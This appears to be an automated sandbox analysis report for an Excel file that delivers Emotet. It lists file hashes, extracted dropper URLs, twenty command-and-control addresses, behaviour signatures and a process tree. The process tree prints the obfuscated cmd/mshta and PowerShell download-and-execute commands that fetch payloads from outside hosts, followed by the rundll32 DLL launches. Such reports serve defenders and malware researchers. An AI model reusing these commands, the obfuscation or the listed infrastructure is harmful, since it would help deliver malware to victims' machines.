Analysis

  • max time kernel
    135s
  • max time network
    166s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    19-01-2022 15:13

General

  • Target

    4b1800da594032e6944a2b0728eaa50223d1ca0a6eaf3883ce9a0dc05d2e982a.xls

  • Size

    141KB

  • MD5

    110d7ef2b3b5009e6387a7becdc65ad6

  • SHA1

    151e3cb88ac922df8d742b4df8a49e7488d82a99

  • SHA256

    4b1800da594032e6944a2b0728eaa50223d1ca0a6eaf3883ce9a0dc05d2e982a

  • SHA512

    58b0ef00ea8341cc06b3389c8504ea68844f6579b55c93b97dd09ca120ba26e3c2812cf8d21996828173d832b7a38b55c607318df7c10d094435c003077866a4

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://0xb907d607/fer/fer.html

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://185.7.214.7/fer/fer.png

Extracted

Family

emotet

Botnet

Epoch4

C2

131.100.24.231:80

209.59.138.75:7080

103.8.26.103:8080

51.38.71.0:443

212.237.17.99:8080

79.172.212.216:8080

207.38.84.195:8080

104.168.155.129:8080

178.79.147.66:8080

46.55.222.11:443

103.8.26.102:8080

192.254.71.210:443

45.176.232.124:443

203.114.109.124:443

51.68.175.8:8080

58.227.42.236:80

45.142.114.231:8080

217.182.143.207:443

178.63.25.185:443

45.118.115.99:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • suricata: ET MALWARE W32/Emotet CnC Beacon 3

    suricata: ET MALWARE W32/Emotet CnC Beacon 3

  • Blocklisted process makes network request 5 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 19 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\4b1800da594032e6944a2b0728eaa50223d1ca0a6eaf3883ce9a0dc05d2e982a.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3192
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:3220
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:688
        • C:\Windows\system32\mshta.exe
          mshta http://0xb907d607/fer/fer.html
          3⤵
          • Blocklisted process makes network request
          • Suspicious use of WriteProcessMemory
          PID:368
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fer.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
            4⤵
            • Blocklisted process makes network request
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1716
            • C:\Windows\system32\cmd.exe
              "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:828
              • C:\Windows\SysWow64\rundll32.exe
                C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
                6⤵
                • Loads dropped DLL
                • Suspicious use of WriteProcessMemory
                PID:1404
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
                  7⤵
                  • Loads dropped DLL
                  • Drops file in System32 directory
                  • Suspicious use of WriteProcessMemory
                  PID:3196
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Erzaamynywtbbnz\tkdknshaqnhjmpr.djp",kIkmMPeq
                    8⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1788
                    • C:\Windows\SysWOW64\rundll32.exe
                      C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Erzaamynywtbbnz\tkdknshaqnhjmpr.djp",DllRegisterServer
                      9⤵
                      • Blocklisted process makes network request
                      • Suspicious behavior: EnumeratesProcesses
                      PID:376
          • C:\Windows\system32\WerFault.exe
            C:\Windows\system32\WerFault.exe -u -p 368 -s 1688
            4⤵
            • Program crash
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2044

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • C:\Users\Public\Documents\ssd.dll

      MD5

      7803ec85f87ba4a0683937445909605d

      SHA1

      c65731c5b8628b8bb741beb11a3eb7a92a15592d

      SHA256

      9c407b96d2e88fbafc70623d94591164063608d2d8e199caa6d2cbabfccea542

      SHA512

      62a6ba974e0c1d7de1f1542bbaecf23228b0ccf642ed120e7ebcab81f91d04083fa51259e44cdeaa819aa81332ada43eb28a66cbebd4321f112f2df353fb92fe

    • \Users\Public\Documents\ssd.dll

      MD5

      7803ec85f87ba4a0683937445909605d

      SHA1

      c65731c5b8628b8bb741beb11a3eb7a92a15592d

      SHA256

      9c407b96d2e88fbafc70623d94591164063608d2d8e199caa6d2cbabfccea542

      SHA512

      62a6ba974e0c1d7de1f1542bbaecf23228b0ccf642ed120e7ebcab81f91d04083fa51259e44cdeaa819aa81332ada43eb28a66cbebd4321f112f2df353fb92fe

    • \Users\Public\Documents\ssd.dll

      MD5

      7803ec85f87ba4a0683937445909605d

      SHA1

      c65731c5b8628b8bb741beb11a3eb7a92a15592d

      SHA256

      9c407b96d2e88fbafc70623d94591164063608d2d8e199caa6d2cbabfccea542

      SHA512

      62a6ba974e0c1d7de1f1542bbaecf23228b0ccf642ed120e7ebcab81f91d04083fa51259e44cdeaa819aa81332ada43eb28a66cbebd4321f112f2df353fb92fe

    • memory/376-918-0x0000000005120000-0x0000000005146000-memory.dmp

      Filesize

      152KB

    • memory/376-926-0x00000000054C0000-0x00000000054E6000-memory.dmp

      Filesize

      152KB

    • memory/376-924-0x00000000053C0000-0x00000000053E6000-memory.dmp

      Filesize

      152KB

    • memory/376-922-0x00000000052E0000-0x0000000005306000-memory.dmp

      Filesize

      152KB

    • memory/376-920-0x0000000005200000-0x0000000005226000-memory.dmp

      Filesize

      152KB

    • memory/376-915-0x00000000049F0000-0x0000000004A16000-memory.dmp

      Filesize

      152KB

    • memory/1404-887-0x0000000000940000-0x0000000000966000-memory.dmp

      Filesize

      152KB

    • memory/1716-766-0x000002131ED80000-0x0000021336F80000-memory.dmp

      Filesize

      386.0MB

    • memory/1716-625-0x0000021337530000-0x00000213375A6000-memory.dmp

      Filesize

      472KB

    • memory/1716-820-0x000002131ED80000-0x0000021336F80000-memory.dmp

      Filesize

      386.0MB

    • memory/1716-556-0x000002131ED30000-0x000002131ED52000-memory.dmp

      Filesize

      136KB

    • memory/1716-606-0x0000021336EC0000-0x0000021336EFC000-memory.dmp

      Filesize

      240KB

    • memory/1716-667-0x000002131ED80000-0x0000021336F80000-memory.dmp

      Filesize

      386.0MB

    • memory/3192-116-0x00007FFBD30C0000-0x00007FFBD30D0000-memory.dmp

      Filesize

      64KB

    • memory/3192-940-0x00007FFBD30C0000-0x00007FFBD30D0000-memory.dmp

      Filesize

      64KB

    • memory/3192-128-0x00007FFBCF620000-0x00007FFBCF630000-memory.dmp

      Filesize

      64KB

    • memory/3192-942-0x00007FFBD30C0000-0x00007FFBD30D0000-memory.dmp

      Filesize

      64KB

    • memory/3192-941-0x00007FFBD30C0000-0x00007FFBD30D0000-memory.dmp

      Filesize

      64KB

    • memory/3192-943-0x00007FFBD30C0000-0x00007FFBD30D0000-memory.dmp

      Filesize

      64KB

    • memory/3192-129-0x00007FFBCF620000-0x00007FFBCF630000-memory.dmp

      Filesize

      64KB

    • memory/3192-121-0x00007FFBD30C0000-0x00007FFBD30D0000-memory.dmp

      Filesize

      64KB

    • memory/3192-115-0x00007FFBD30C0000-0x00007FFBD30D0000-memory.dmp

      Filesize

      64KB

    • memory/3192-117-0x00007FFBD30C0000-0x00007FFBD30D0000-memory.dmp

      Filesize

      64KB

    • memory/3192-118-0x00007FFBD30C0000-0x00007FFBD30D0000-memory.dmp

      Filesize

      64KB

    • memory/3196-909-0x0000000005370000-0x0000000005396000-memory.dmp

      Filesize

      152KB

    • memory/3196-893-0x0000000004F20000-0x0000000004F46000-memory.dmp

      Filesize

      152KB

    • memory/3196-899-0x0000000005210000-0x0000000005236000-memory.dmp

      Filesize

      152KB

    • memory/3196-897-0x00000000051B0000-0x00000000051D6000-memory.dmp

      Filesize

      152KB

    • memory/3196-895-0x0000000005030000-0x0000000005056000-memory.dmp

      Filesize

      152KB

    • memory/3196-890-0x0000000004900000-0x0000000004926000-memory.dmp

      Filesize

      152KB